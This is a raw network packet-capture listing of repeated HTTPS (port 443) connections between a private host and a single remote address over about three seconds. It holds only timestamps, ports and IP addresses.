Oct 29, 2024 20:38:39.237448931 CET	49989	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.237463951 CET	443	49989	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.237981081 CET	49989	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.237991095 CET	443	49989	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.370759964 CET	443	49989	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.370790958 CET	443	49989	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.370842934 CET	443	49989	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.370857000 CET	49989	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.371198893 CET	49989	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.371198893 CET	49989	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.374089956 CET	49989	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.374114037 CET	443	49989	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.374768972 CET	49994	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.374805927 CET	443	49994	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.375009060 CET	49994	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.375009060 CET	49994	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.375035048 CET	443	49994	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.493820906 CET	443	49990	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.494594097 CET	49990	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.494623899 CET	443	49990	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.495810986 CET	49990	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.495819092 CET	443	49990	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.569149971 CET	443	49991	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.569732904 CET	49991	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.569746017 CET	443	49991	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.570979118 CET	49991	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.570986032 CET	443	49991	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.626918077 CET	443	49990	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.626990080 CET	443	49990	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.630215883 CET	49990	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.630215883 CET	49990	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.632169962 CET	49990	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.632193089 CET	443	49990	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.633708954 CET	49995	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.633743048 CET	443	49995	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.633805037 CET	49995	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.633995056 CET	49995	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.634004116 CET	443	49995	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.660841942 CET	443	49992	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.661323071 CET	49992	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.661334038 CET	443	49992	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.661943913 CET	49992	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.661948919 CET	443	49992	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.693476915 CET	443	49993	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.693919897 CET	49993	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.693927050 CET	443	49993	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.694478989 CET	49993	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.694483995 CET	443	49993	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.704586029 CET	443	49991	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.704617023 CET	443	49991	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.704664946 CET	443	49991	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.704704046 CET	49991	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.704704046 CET	49991	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.704947948 CET	49991	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.704947948 CET	49991	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.704965115 CET	443	49991	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.704974890 CET	443	49991	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.708414078 CET	49996	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.708458900 CET	443	49996	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.708534002 CET	49996	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.708683014 CET	49996	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.708697081 CET	443	49996	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.792460918 CET	443	49992	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.792618990 CET	443	49992	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.792874098 CET	49992	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.792874098 CET	49992	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.792943001 CET	49992	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.792959929 CET	443	49992	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.796350002 CET	49997	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.796392918 CET	443	49997	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.796492100 CET	49997	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.796659946 CET	49997	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.796670914 CET	443	49997	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.824975967 CET	443	49993	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.825062037 CET	443	49993	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.825114012 CET	49993	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.825293064 CET	49993	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.825304985 CET	443	49993	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.825316906 CET	49993	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.825323105 CET	443	49993	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.828274965 CET	49998	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.828325033 CET	443	49998	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:39.828407049 CET	49998	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.828557968 CET	49998	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:39.828572035 CET	443	49998	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.126046896 CET	443	49994	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.126795053 CET	49994	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.126815081 CET	443	49994	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.127335072 CET	49994	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.127338886 CET	443	49994	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.282777071 CET	443	49994	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.282922029 CET	443	49994	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.282977104 CET	49994	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.283184052 CET	49994	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.283185005 CET	49994	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.283200026 CET	443	49994	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.283209085 CET	443	49994	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.285944939 CET	49999	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.285989046 CET	443	49999	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.286061049 CET	49999	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.286206007 CET	49999	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.286216021 CET	443	49999	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.357959032 CET	443	49995	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.358488083 CET	49995	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.358495951 CET	443	49995	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.358961105 CET	49995	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.358964920 CET	443	49995	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.439033985 CET	443	49996	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.439649105 CET	49996	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.439677000 CET	443	49996	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.440109015 CET	49996	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.440118074 CET	443	49996	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.486948013 CET	443	49995	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.487001896 CET	443	49995	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.487046957 CET	443	49995	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.487121105 CET	49995	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.487160921 CET	49995	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.487587929 CET	49995	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.487607002 CET	443	49995	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.487618923 CET	49995	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.487624884 CET	443	49995	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.490284920 CET	50000	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.490304947 CET	443	50000	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.490394115 CET	50000	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.490520954 CET	50000	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.490529060 CET	443	50000	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.544502020 CET	443	49997	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.545295954 CET	49997	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.545320988 CET	443	49997	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.545748949 CET	49997	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.545757055 CET	443	49997	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.574574947 CET	443	49996	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.574760914 CET	443	49996	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.574887037 CET	49996	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.574922085 CET	49996	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.574943066 CET	443	49996	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.574955940 CET	49996	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.574961901 CET	443	49996	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.577825069 CET	50001	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.577857018 CET	443	50001	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.578109980 CET	50001	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.578109980 CET	50001	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.578135014 CET	443	50001	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.579499006 CET	443	49998	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.579828978 CET	49998	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.579840899 CET	443	49998	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.580231905 CET	49998	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.580240011 CET	443	49998	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.677548885 CET	443	49997	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.677651882 CET	443	49997	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.677712917 CET	49997	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.677894115 CET	49997	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.677911043 CET	443	49997	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.677922010 CET	49997	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.677927971 CET	443	49997	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.680742025 CET	50002	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.680764914 CET	443	50002	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.680856943 CET	50002	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.680975914 CET	50002	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.680984020 CET	443	50002	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.718653917 CET	443	49998	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.718671083 CET	443	49998	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.718720913 CET	443	49998	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.718781948 CET	49998	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.718832970 CET	49998	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.719105005 CET	49998	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.719121933 CET	443	49998	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.719134092 CET	49998	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.719139099 CET	443	49998	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.722068071 CET	50003	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.722103119 CET	443	50003	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:40.722235918 CET	50003	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.722362041 CET	50003	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:40.722373962 CET	443	50003	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.017623901 CET	443	49999	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.018471956 CET	49999	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.018498898 CET	443	49999	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.018826008 CET	49999	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.018831968 CET	443	49999	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.161705971 CET	443	49999	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.161782026 CET	443	49999	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.161978006 CET	49999	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.162127972 CET	49999	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.162153006 CET	443	49999	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.162173033 CET	49999	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.162178040 CET	443	49999	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.165287971 CET	50004	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.165317059 CET	443	50004	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.165414095 CET	50004	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.165585041 CET	50004	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.165595055 CET	443	50004	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.246632099 CET	443	50000	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.247445107 CET	50000	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.247457027 CET	443	50000	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.247819901 CET	50000	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.247824907 CET	443	50000	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.312704086 CET	443	50001	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.313395023 CET	50001	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.313405037 CET	443	50001	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.313783884 CET	50001	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.313787937 CET	443	50001	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.380074024 CET	443	50000	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.380103111 CET	443	50000	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.380297899 CET	443	50000	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.380403042 CET	50000	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.380558014 CET	50000	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.380558014 CET	50000	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.380578041 CET	50000	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.380589962 CET	443	50000	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.383677959 CET	50005	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.383728027 CET	443	50005	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.383812904 CET	50005	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.383994102 CET	50005	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.384013891 CET	443	50005	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.455326080 CET	443	50003	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.456016064 CET	50003	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.456028938 CET	443	50003	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.456353903 CET	50003	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.456363916 CET	443	50003	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.461108923 CET	443	50001	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.461131096 CET	443	50001	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.461195946 CET	50001	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.461201906 CET	443	50001	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.461283922 CET	443	50001	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.461366892 CET	50001	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.461474895 CET	50001	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.461488008 CET	443	50001	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.461509943 CET	50001	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.461515903 CET	443	50001	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.463912010 CET	443	50002	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.464225054 CET	50002	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.464235067 CET	443	50002	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.464627981 CET	50002	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.464632034 CET	443	50002	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.465480089 CET	50006	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.465511084 CET	443	50006	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.465585947 CET	50006	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.465688944 CET	50006	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.465697050 CET	443	50006	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.586815119 CET	443	50003	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.586841106 CET	443	50003	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.586889029 CET	50003	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.586904049 CET	443	50003	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.586915016 CET	443	50003	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.586965084 CET	50003	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.587182045 CET	50003	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.587196112 CET	443	50003	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.587208986 CET	50003	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.587219000 CET	443	50003	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.590549946 CET	50007	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.590590954 CET	443	50007	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.590656042 CET	50007	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.590795040 CET	50007	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.590805054 CET	443	50007	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.601818085 CET	443	50002	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.601847887 CET	443	50002	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.601912022 CET	443	50002	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.601927996 CET	50002	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.602026939 CET	50002	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.602293015 CET	50002	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.602312088 CET	443	50002	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.602324963 CET	50002	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.602332115 CET	443	50002	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.604751110 CET	50008	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.604782104 CET	443	50008	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.604855061 CET	50008	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.605001926 CET	50008	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.605010986 CET	443	50008	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.911356926 CET	443	50004	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.912447929 CET	50004	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.912473917 CET	443	50004	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:41.913104057 CET	50004	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:41.913116932 CET	443	50004	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.044800043 CET	443	50004	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.044859886 CET	443	50004	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.044986010 CET	50004	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.059582949 CET	50004	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.059582949 CET	50004	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.059638023 CET	443	50004	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.059665918 CET	443	50004	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.063965082 CET	50010	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.063999891 CET	443	50010	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.064068079 CET	50010	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.064330101 CET	50010	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.064341068 CET	443	50010	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.126509905 CET	443	50005	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.127012014 CET	50005	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.127034903 CET	443	50005	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.127465963 CET	50005	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.127474070 CET	443	50005	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.199172020 CET	443	50006	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.199620008 CET	50006	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.199666977 CET	443	50006	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.200052977 CET	50006	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.200074911 CET	443	50006	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.293482065 CET	443	50005	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.293553114 CET	443	50005	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.293618917 CET	50005	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.293828964 CET	50005	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.293843985 CET	443	50005	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.293858051 CET	50005	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.293864965 CET	443	50005	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.297015905 CET	50011	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.297054052 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.297133923 CET	50011	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.297322035 CET	50011	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.297334909 CET	443	50011	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.329196930 CET	443	50006	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.329469919 CET	443	50006	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.329591990 CET	50006	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.329619884 CET	50006	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.329632044 CET	443	50006	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.329644918 CET	50006	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.329649925 CET	443	50006	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.332819939 CET	50012	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.332875013 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.334095001 CET	50012	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.334095955 CET	50012	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.334124088 CET	443	50012	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.340642929 CET	443	50008	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.341118097 CET	50008	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.341135025 CET	443	50008	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.341576099 CET	50008	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.341582060 CET	443	50008	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.367065907 CET	443	50007	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.369069099 CET	50007	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.369086027 CET	443	50007	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.369509935 CET	50007	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.369514942 CET	443	50007	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.503437042 CET	443	50007	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.503520012 CET	443	50007	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.503729105 CET	50007	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.503766060 CET	50007	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.503786087 CET	443	50007	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.503798962 CET	50007	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.503806114 CET	443	50007	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.504897118 CET	443	50008	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.504915953 CET	443	50008	13.107.246.45	192.168.2.4
Oct 29, 2024 20:38:42.504982948 CET	50008	443	192.168.2.4	13.107.246.45
Oct 29, 2024 20:38:42.505002975 CET	443	50008	13.107.246.45	192.168.2.4
